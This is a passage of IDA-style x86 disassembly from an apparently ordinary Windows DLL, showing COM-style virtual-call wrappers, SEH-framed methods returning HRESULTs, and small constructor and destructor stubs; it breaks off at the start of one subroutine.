sub_69B69C70 proc near ; DATA XREF: .text:69B15818o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ecx]
and [ebp+var_10], 0
push esi
lea edx, [ebp+var_10]
push edx
push [ebp+arg_8]
mov [ebp+var_C], 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_10]
push eax
push 1
lea ecx, [ebp+var_10]
call sub_69B64008
cmp [ebp+var_10], 1
jz short loc_69B69CAC
or esi, 0FFFFFFFFh
jmp short loc_69B69CB0
; ---------------------------------------------------------------------------
loc_69B69CAC: ; CODE XREF: sub_69B69C70+35j
movzx esi, [ebp+var_8]
loc_69B69CB0: ; CODE XREF: sub_69B69C70+3Aj
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 0Ch
sub_69B69C70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B69CBF proc near ; DATA XREF: .text:69B1581Co
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
lea edx, [ebp+var_20]
push edx
push [ebp+arg_8]
xor ebx, ebx
push [ebp+arg_4]
mov esi, ecx
mov ecx, [esi+8]
push [ebp+arg_0]
mov [ebp+var_20], ebx
mov [ebp+var_1C], bl
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
mov eax, [ecx]
call dword ptr [eax+54h]
cmp [ebp+var_20], ebx
jz short loc_69B69D21
mov ecx, [esi+0Ch]
cmp ecx, ebx
jz short loc_69B69D0F
mov eax, [ecx]
lea edx, [ebp+var_10]
push edx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
cmp [ebp+var_10], ebx
jz short loc_69B69D21
loc_69B69D0F: ; CODE XREF: sub_69B69CBF+37j
push [ebp+arg_C]
lea eax, [ebp+var_10]
push eax
push dword ptr [esi+10h]
lea ecx, [ebp+var_20]
call sub_69B64363
loc_69B69D21: ; CODE XREF: sub_69B69CBF+30j
; sub_69B69CBF+4Ej
lea ecx, [ebp+var_10]
call sub_69B466CC
lea ecx, [ebp+var_20]
call sub_69B466CC
pop esi
pop ebx
leave
retn 10h
sub_69B69CBF endp
; =============== S U B R O U T I N E =======================================
sub_69B69D37 proc near ; CODE XREF: sub_69B60622+4Cp
; sub_69B60689+D1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B15788 SIZE 0000003A BYTES
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B69D49
mov ecx, eax
jmp loc_69B15788
; ---------------------------------------------------------------------------
loc_69B69D49: ; CODE XREF: sub_69B69D37+9j
xor eax, eax
retn 0Ch
sub_69B69D37 endp
; =============== S U B R O U T I N E =======================================
sub_69B69D4E proc near ; CODE XREF: sub_69B69DE1+3j
; DATA XREF: .text:69B15924o
mov eax, offset off_69B69D54
retn
sub_69B69D4E endp
; ---------------------------------------------------------------------------
off_69B69D54 dd offset off_69B29C74 ; DATA XREF: sub_69B69D4Eo
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B69D5C proc near ; DATA XREF: .text:69B158F8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov eax, ecx
mov edx, [eax+0Ch]
mov ecx, [eax+8]
mov esi, [ecx]
push edx
push [esp+8+arg_8]
push [esp+0Ch+arg_4]
push dword ptr [eax+10h]
push [esp+14h+arg_0]
call dword ptr [esi+58h]
pop esi
retn 0Ch
sub_69B69D5C endp
; =============== S U B R O U T I N E =======================================
sub_69B69D7E proc near ; DATA XREF: .text:69B15940o
mov ecx, [ecx+18h]
and ecx, 7
xor eax, eax
dec ecx
jz short loc_69B69DB6
dec ecx
jz short loc_69B69DB0
dec ecx
jz short loc_69B69DAA
dec ecx
jz short loc_69B69DA4
dec ecx
jz short loc_69B69D9E
dec ecx
jnz short locret_69B69DBB
mov eax, dword_69B9B388
retn
; ---------------------------------------------------------------------------
loc_69B69D9E: ; CODE XREF: sub_69B69D7E+15j
mov eax, dword_69B9B3A8
retn
; ---------------------------------------------------------------------------
loc_69B69DA4: ; CODE XREF: sub_69B69D7E+12j
mov eax, dword_69B9B390
retn
; ---------------------------------------------------------------------------
loc_69B69DAA: ; CODE XREF: sub_69B69D7E+Fj
mov eax, dword_69B9B398
retn
; ---------------------------------------------------------------------------
loc_69B69DB0: ; CODE XREF: sub_69B69D7E+Cj
mov eax, dword_69B9B3B0
retn
; ---------------------------------------------------------------------------
loc_69B69DB6: ; CODE XREF: sub_69B69D7E+9j
mov eax, dword_69B9B3A0
locret_69B69DBB: ; CODE XREF: sub_69B69D7E+18j
retn
sub_69B69D7E endp
; =============== S U B R O U T I N E =======================================
sub_69B69DBC proc near ; DATA XREF: .text:69B15944o
; .text:69B15A1Co ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
mov ecx, [esi+10h]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov ecx, [esi+14h]
mov eax, [ecx]
pop esi
jmp dword ptr [eax+5Ch]
sub_69B69DBC endp
; =============== S U B R O U T I N E =======================================
sub_69B69DD8 proc near ; DATA XREF: .text:69B15724o
; .text:69B158E4o ...
xor eax, eax
inc eax
retn
sub_69B69DD8 endp
; =============== S U B R O U T I N E =======================================
sub_69B69DDC proc near ; DATA XREF: .text:69B157D4o
; .text:69B158B4o ...
arg_0 = byte ptr 4
sub ecx, 8
jmp short sub_69B69E1B
sub_69B69DDC endp
; =============== S U B R O U T I N E =======================================
sub_69B69DE1 proc near ; DATA XREF: .text:69B158C4o
sub ecx, 8
jmp sub_69B69D4E
sub_69B69DE1 endp
; =============== S U B R O U T I N E =======================================
sub_69B69DE9 proc near ; DATA XREF: .text:69B1573Co
; .text:69B158FCo ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_8]
mov eax, [ecx]
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword ptr [eax+50h]
cmp eax, 0FFFFFFFFh
jz short locret_69B69E10
mov ecx, [esp+arg_C]
xor edx, edx
inc edx
cmp eax, edx
setz al
mov [ecx], edx
mov [ecx+8], al
locret_69B69E10: ; CODE XREF: sub_69B69DE9+14j
retn 10h
sub_69B69DE9 endp
; =============== S U B R O U T I N E =======================================
sub_69B69E13 proc near ; DATA XREF: .text:69B157FCo
; .text:69B158DCo ...
sub ecx, 8
jmp sub_69B69ED4
sub_69B69E13 endp
; =============== S U B R O U T I N E =======================================
sub_69B69E1B proc near ; CODE XREF: sub_69B69DDC+3j
; DATA XREF: .text:69B15834o ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B69EEF
test [esp+4+arg_0], 1
jz short loc_69B69E30
push esi
call sub_69B1829F
loc_69B69E30: ; CODE XREF: sub_69B69E1B+Dj
mov eax, esi
pop esi
retn 4
sub_69B69E1B endp
; =============== S U B R O U T I N E =======================================
sub_69B69E36 proc near ; CODE XREF: sub_69B60828+C7p
; sub_69B60916+A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B15868 SIZE 0000003A BYTES
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B69E48
mov ecx, eax
jmp loc_69B15868
; ---------------------------------------------------------------------------
loc_69B69E48: ; CODE XREF: sub_69B69E36+9j
xor eax, eax
retn 0Ch
sub_69B69E36 endp
; =============== S U B R O U T I N E =======================================
sub_69B69E4D proc near ; CODE XREF: sub_69B69EA8+3j
; DATA XREF: .text:69B159FCo
mov eax, offset off_69B69E54
retn
sub_69B69E4D endp
; ---------------------------------------------------------------------------
align 4
off_69B69E54 dd offset off_69B29C74 ; DATA XREF: sub_69B69E4Do
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B69E5C proc near ; DATA XREF: .text:69B159D0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_8]
mov esi, ecx
push [ebp+arg_4]
mov ecx, [esi+8]
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+50h]
mov edi, eax
test edi, edi
jz short loc_69B69E9A
push [ebp+arg_8]
mov ecx, [esi+0Ch]
push [ebp+arg_4]
mov eax, [ecx]
push [ebp+arg_0]
call dword ptr [eax+50h]
cmp edi, 1
jnz short loc_69B69E94
mov edi, eax
jmp short loc_69B69E9A
; ---------------------------------------------------------------------------
loc_69B69E94: ; CODE XREF: sub_69B69E5C+32j
test eax, eax
jnz short loc_69B69E9A
xor edi, edi
loc_69B69E9A: ; CODE XREF: sub_69B69E5C+1Cj
; sub_69B69E5C+36j ...
mov eax, edi
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B69E5C endp
; =============== S U B R O U T I N E =======================================
sub_69B69EA2 proc near ; DATA XREF: .text:69B15A18o
mov eax, dword_69B9B3C8
retn
sub_69B69EA2 endp
; =============== S U B R O U T I N E =======================================
sub_69B69EA8 proc near ; DATA XREF: .text:69B1599Co
sub ecx, 8
jmp short sub_69B69E4D
sub_69B69EA8 endp
; =============== S U B R O U T I N E =======================================
sub_69B69EAD proc near ; DATA XREF: .text:69B159CCo
push esi
mov esi, ecx
mov ecx, [esi+8]
push edi
xor edi, edi
test ecx, ecx
jz short loc_69B69EC1
mov eax, [ecx]
call dword ptr [eax+4Ch]
mov edi, eax
loc_69B69EC1: ; CODE XREF: sub_69B69EAD+Bj
mov ecx, [esi+0Ch]
test ecx, ecx
jz short loc_69B69ECF
mov eax, [ecx]
call dword ptr [eax+4Ch]
and edi, eax
loc_69B69ECF: ; CODE XREF: sub_69B69EAD+19j
mov eax, edi
pop edi
pop esi
retn
sub_69B69EAD endp
; =============== S U B R O U T I N E =======================================
sub_69B69ED4 proc near ; CODE XREF: sub_69B69E13+3j
; DATA XREF: .text:69B1585Co ...
push esi
mov esi, ecx
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
push 0
add esi, 14h
push esi
call sub_69B17320
pop esi
retn
sub_69B69ED4 endp
; =============== S U B R O U T I N E =======================================
sub_69B69EEF proc near ; CODE XREF: sub_69B69E1B+3p
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B653F7
sub_69B69EEF endp
; =============== S U B R O U T I N E =======================================
sub_69B69F0C proc near ; CODE XREF: sub_69B609DE+7Ep
; sub_69B62631+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B15948 SIZE 00000033 BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B69F1E
mov ecx, eax
jmp loc_69B15948
; ---------------------------------------------------------------------------
loc_69B69F1E: ; CODE XREF: sub_69B69F0C+9j
xor eax, eax
retn 8
sub_69B69F0C endp
; =============== S U B R O U T I N E =======================================
sub_69B69F23 proc near ; CODE XREF: sub_69B69F9D+3j
; DATA XREF: .text:69B15AD4o
mov eax, offset off_69B69F2C
retn
sub_69B69F23 endp
; ---------------------------------------------------------------------------
align 4
off_69B69F2C dd offset off_69B29C74 ; DATA XREF: sub_69B69F23o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B69F34 proc near ; DATA XREF: .text:69B15AA8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_8]
mov esi, ecx
push [ebp+arg_4]
mov ecx, [esi+8]
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+50h]
mov edi, eax
cmp edi, 1
jz short loc_69B69F74
push [ebp+arg_8]
mov ecx, [esi+0Ch]
push [ebp+arg_4]
mov eax, [ecx]
push [ebp+arg_0]
call dword ptr [eax+50h]
test edi, edi
jnz short loc_69B69F6C
mov edi, eax
jmp short loc_69B69F74
; ---------------------------------------------------------------------------
loc_69B69F6C: ; CODE XREF: sub_69B69F34+32j
cmp eax, 1
jnz short loc_69B69F74
xor edi, edi
inc edi
loc_69B69F74: ; CODE XREF: sub_69B69F34+1Dj
; sub_69B69F34+36j ...
mov eax, edi
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B69F34 endp
; =============== S U B R O U T I N E =======================================
sub_69B69F7C proc near ; DATA XREF: .text:69B158F4o
; .text:69B15AA4o
push esi
mov esi, [ecx+8]
mov ecx, [ecx+0Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+4Ch]
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4Ch]
and eax, edi
pop edi
pop esi
retn
sub_69B69F7C endp
; =============== S U B R O U T I N E =======================================
sub_69B69F97 proc near ; DATA XREF: .text:69B15AF0o
mov eax, dword_69B9B3C0
retn
sub_69B69F97 endp
; =============== S U B R O U T I N E =======================================
sub_69B69F9D proc near ; DATA XREF: .text:69B15A74o
sub ecx, 8
jmp short sub_69B69F23
sub_69B69F9D endp
; =============== S U B R O U T I N E =======================================
sub_69B69FA2 proc near ; CODE XREF: sub_69B60A82+74p
; sub_69B62D2E+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B15A20 SIZE 00000033 BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B69FB4
mov ecx, eax
jmp loc_69B15A20
; ---------------------------------------------------------------------------
loc_69B69FB4: ; CODE XREF: sub_69B69FA2+9j
xor eax, eax
retn 8
sub_69B69FA2 endp
; =============== S U B R O U T I N E =======================================
sub_69B69FB9 proc near ; CODE XREF: sub_69B69FED+85p
; sub_69B6A1FC+4Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_69B69FDC
cmp [esp+arg_4], 0
jz short loc_69B69FD8
push [esp+arg_4]
mov ecx, [eax]
push offset dword_69B25E54
push eax
call dword ptr [ecx]
jmp short locret_69B69FEA
; ---------------------------------------------------------------------------
loc_69B69FD8: ; CODE XREF: sub_69B69FB9+Dj
xor eax, eax
jmp short locret_69B69FEA
; ---------------------------------------------------------------------------
loc_69B69FDC: ; CODE XREF: sub_69B69FB9+6j
mov eax, [esp+arg_4]
test eax, eax
jz short loc_69B69FE7
and dword ptr [eax], 0
loc_69B69FE7: ; CODE XREF: sub_69B69FB9+29j
xor eax, eax
inc eax
locret_69B69FEA: ; CODE XREF: sub_69B69FB9+1Dj
; sub_69B69FB9+21j
retn 8
sub_69B69FB9 endp
; =============== S U B R O U T I N E =======================================
sub_69B69FED proc near ; DATA XREF: .text:69B15B48o
push 34h
push offset dword_69B6A0C0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B6A012
mov eax, 80004005h
jmp loc_69B6A0B2
; ---------------------------------------------------------------------------
loc_69B6A012: ; CODE XREF: sub_69B69FED+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-2Ch], edi
mov [ebp-4], edi
mov ebx, [ebp+8]
mov ecx, [ebx+10h]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
cmp ecx, edi
jz short loc_69B6A06A
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov esi, eax
mov [ebp-38h], esi
cmp esi, edi
jz short loc_69B6A06A
push dword ptr [ebp+0Ch]
call sub_69B48A77
mov [ebp-3Ch], eax
cmp eax, edi
jz short loc_69B6A06A
mov ecx, [esi]
push edi
mov edx, [eax]
mov [ebp-40h], ecx
mov ecx, eax
call dword ptr [edx+0B4h]
push eax
mov ecx, esi
mov eax, [ebp-40h]
call dword ptr [eax+5Ch]
mov [ebp-2Ch], eax
loc_69B6A06A: ; CODE XREF: sub_69B69FED+42j
; sub_69B69FED+50j ...
push dword ptr [ebp+10h]
push dword ptr [ebp-2Ch]
mov ecx, ebx
call sub_69B69FB9
jmp short loc_69B6A097
; ---------------------------------------------------------------------------
loc_69B6A079: ; DATA XREF: .text:69B6A0C4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A082: ; DATA XREF: .text:69B6A0C8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6A097: ; CODE XREF: sub_69B69FED+8Aj
mov [ebp-44h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-44h]
loc_69B6A0B2: ; CODE XREF: sub_69B69FED+20j
call sub_69B1853C
retn 0Ch
sub_69B69FED endp
; ---------------------------------------------------------------------------
align 10h
dword_69B6A0C0 dd 0FFFFFFFFh dd offset loc_69B6A079
dd offset loc_69B6A082
; =============== S U B R O U T I N E =======================================
sub_69B6A0CC proc near ; CODE XREF: sub_69B6A15E+31p
; sub_69B6A1FC+39p ...
mov eax, [ecx+14h]
test eax, eax
jnz short locret_69B6A0D6
mov eax, [ecx+10h]
locret_69B6A0D6: ; CODE XREF: sub_69B6A0CC+5j
retn
sub_69B6A0CC endp
; =============== S U B R O U T I N E =======================================
sub_69B6A0D7 proc near ; CODE XREF: sub_69B6A53C+3Dp
; sub_69B6A5E4+3Dp
push esi
mov esi, ecx
mov eax, [esi+10h]
push 1
push eax
call sub_69B664E8
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
add esi, 14h
push esi
call sub_69B17320
pop esi
retn
sub_69B6A0D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A0FC proc near ; CODE XREF: sub_69B6A147-54648p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset dword_69B6A118
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B6A0FC endp
; ---------------------------------------------------------------------------
align 4
dword_69B6A118 dd 57B4B691h, 11D32388h, 8000398Eh, 99C1ACC7h; ---------------------------------------------------------------------------
loc_69B6A128: ; DATA XREF: .text:off_69B280B8o
push esi
mov esi, ecx
call sub_69B45BC7
test byte ptr [esp+8], 1
jz short loc_69B6A140
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B6A140: ; CODE XREF: .text:69B6A135j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B6A147 proc near ; CODE XREF: sub_69B624A2+9Fp
; sub_69B6A404+40p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B15AF8 SIZE 00000023 BYTES
push 18h
call sub_69B1D897
test eax, eax
jz short loc_69B6A159
mov ecx, eax
jmp loc_69B15AF8
; ---------------------------------------------------------------------------
loc_69B6A159: ; CODE XREF: sub_69B6A147+9j
xor eax, eax
retn 4
sub_69B6A147 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A15E proc near ; DATA XREF: .text:69B15B28o
push 1Ch
push offset dword_69B6A1F0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B6A180
mov eax, 80004005h
jmp short loc_69B6A1E5
; ---------------------------------------------------------------------------
loc_69B6A180: ; CODE XREF: sub_69B6A15E+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], edi
mov ecx, [ebp+8]
call sub_69B6A0CC
mov esi, eax
mov ebx, [esi]
push 1
push dword ptr [ebp+0Ch]
call sub_69B48A77
push eax
push edi
mov ecx, esi
call dword ptr [ebx+48h]
mov [ebp-2Ch], edi
jmp short loc_69B6A1CE
; ---------------------------------------------------------------------------
loc_69B6A1AE: ; DATA XREF: .text:69B6A1F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A1B7: ; DATA XREF: .text:69B6A1F8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B6A1CE: ; CODE XREF: sub_69B6A15E+4Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B6A1E5: ; CODE XREF: sub_69B6A15E+20j
call sub_69B1853C
retn 8
sub_69B6A15E endp
; ---------------------------------------------------------------------------
align 10h
dword_69B6A1F0 dd 0FFFFFFFFh dd offset loc_69B6A1AE
dd offset loc_69B6A1B7
; =============== S U B R O U T I N E =======================================
sub_69B6A1FC proc near ; DATA XREF: .text:69B15B2Co
push 20h
push offset dword_69B6A298
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B6A21C
mov eax, 80004005h
jmp short loc_69B6A290
; ---------------------------------------------------------------------------
loc_69B6A21C: ; CODE XREF: sub_69B6A1FC+17j
push 0
lea ecx, [ebp-28h]
call sub_69B11D3B
lea ecx, [ebp-2Ch]
call sub_69B47D22
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
call sub_69B6A0CC
push dword ptr [ebp+0Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+3Ch]
push eax
mov ecx, [ebp+8]
call sub_69B69FB9
jmp short loc_69B6A26D
; ---------------------------------------------------------------------------
loc_69B6A24F: ; DATA XREF: .text:69B6A29Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A258: ; DATA XREF: .text:69B6A2A0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6A26D: ; CODE XREF: sub_69B6A1FC+51j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B47D46
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B6A290: ; CODE XREF: sub_69B6A1FC+1Ej
call sub_69B1853C
retn 8
sub_69B6A1FC endp
; ---------------------------------------------------------------------------
dword_69B6A298 dd 0FFFFFFFFh dd offset loc_69B6A24F
dd offset loc_69B6A258
; =============== S U B R O U T I N E =======================================
sub_69B6A2A4 proc near ; DATA XREF: .text:69B15B30o
push 20h
push offset dword_69B6A340
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B6A2C4
mov eax, 80004005h
jmp short loc_69B6A338
; ---------------------------------------------------------------------------
loc_69B6A2C4: ; CODE XREF: sub_69B6A2A4+17j
push 0
lea ecx, [ebp-28h]
call sub_69B11D3B
lea ecx, [ebp-2Ch]
call sub_69B47D22
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
call sub_69B6A0CC
push dword ptr [ebp+0Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+40h]
push eax
mov ecx, [ebp+8]
call sub_69B69FB9
jmp short loc_69B6A315
; ---------------------------------------------------------------------------
loc_69B6A2F7: ; DATA XREF: .text:69B6A344o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A300: ; DATA XREF: .text:69B6A348o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6A315: ; CODE XREF: sub_69B6A2A4+51j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B47D46
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B6A338: ; CODE XREF: sub_69B6A2A4+1Ej
call sub_69B1853C
retn 8
sub_69B6A2A4 endp
; ---------------------------------------------------------------------------
dword_69B6A340 dd 0FFFFFFFFh dd offset loc_69B6A2F7
dd offset loc_69B6A300
; =============== S U B R O U T I N E =======================================
sub_69B6A34C proc near ; DATA XREF: .text:69B15B34o
push 20h
push offset dword_69B6A3F8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B6A36E
mov eax, 80004005h
jmp short loc_69B6A3EC
; ---------------------------------------------------------------------------
loc_69B6A36E: ; CODE XREF: sub_69B6A34C+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
lea ecx, [ebp-2Ch]
call sub_69B47D22
mov [ebp-4], edi
mov ecx, [ebp+8]
call sub_69B6A0CC
mov esi, eax
mov ebx, [esi]
push dword ptr [ebp+0Ch]
call sub_69B48A77
push eax
push edi
push edi
mov ecx, esi
call dword ptr [ebx+4Ch]
neg eax
sbb eax, eax
mov ecx, [ebp+10h]
mov [ecx], ax
mov [ebp-30h], edi
jmp short loc_69B6A3CD
; ---------------------------------------------------------------------------
loc_69B6A3AD: ; DATA XREF: .text:69B6A3FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A3B6: ; DATA XREF: .text:69B6A400o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B6A3CD: ; CODE XREF: sub_69B6A34C+5Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B47D46
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B6A3EC: ; CODE XREF: sub_69B6A34C+20j
call sub_69B1853C
retn 0Ch
sub_69B6A34C endp
; ---------------------------------------------------------------------------
align 8
dword_69B6A3F8 dd 0FFFFFFFFh dd offset loc_69B6A3AD
dd offset loc_69B6A3B6
; =============== S U B R O U T I N E =======================================
sub_69B6A404 proc near ; DATA XREF: .text:69B15B38o
push 1Ch
push offset dword_69B6A498
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B6A426
mov eax, 80004005h
jmp short loc_69B6A48C
; ---------------------------------------------------------------------------
loc_69B6A426: ; CODE XREF: sub_69B6A404+19j
push esi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], esi
mov ecx, [ebp+8]
call sub_69B6A0CC
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx+7Ch]
push eax
call sub_69B6A147
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov [ebp-2Ch], esi
jmp short loc_69B6A474
; ---------------------------------------------------------------------------
loc_69B6A453: ; DATA XREF: .text:69B6A49Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A45C: ; DATA XREF: .text:69B6A4A0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B6A474: ; CODE XREF: sub_69B6A404+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B6A48C: ; CODE XREF: sub_69B6A404+20j
call sub_69B1853C
retn 8
sub_69B6A404 endp
; ---------------------------------------------------------------------------
align 8
dword_69B6A498 dd 0FFFFFFFFh dd offset loc_69B6A453
dd offset loc_69B6A45C
; =============== S U B R O U T I N E =======================================
sub_69B6A4A4 proc near ; DATA XREF: .text:69B15B3Co
push 1Ch
push offset dword_69B6A530
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B6A4C4
mov eax, 80004005h
jmp short loc_69B6A528
; ---------------------------------------------------------------------------
loc_69B6A4C4: ; CODE XREF: sub_69B6A4A4+17j
push 0
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
call sub_69B6A0CC
push dword ptr [ebp+0Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+64h]
push eax
mov ecx, [ebp+8]
call sub_69B69FB9
jmp short loc_69B6A50D
; ---------------------------------------------------------------------------
loc_69B6A4EF: ; DATA XREF: .text:69B6A534o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A4F8: ; DATA XREF: .text:69B6A538o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6A50D: ; CODE XREF: sub_69B6A4A4+49j
mov [ebp-2Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B6A528: ; CODE XREF: sub_69B6A4A4+1Ej
call sub_69B1853C
retn 8
sub_69B6A4A4 endp
; ---------------------------------------------------------------------------
dword_69B6A530 dd 0FFFFFFFFh dd offset loc_69B6A4EF
dd offset loc_69B6A4F8
; =============== S U B R O U T I N E =======================================
sub_69B6A53C proc near ; DATA XREF: .text:69B15B40o
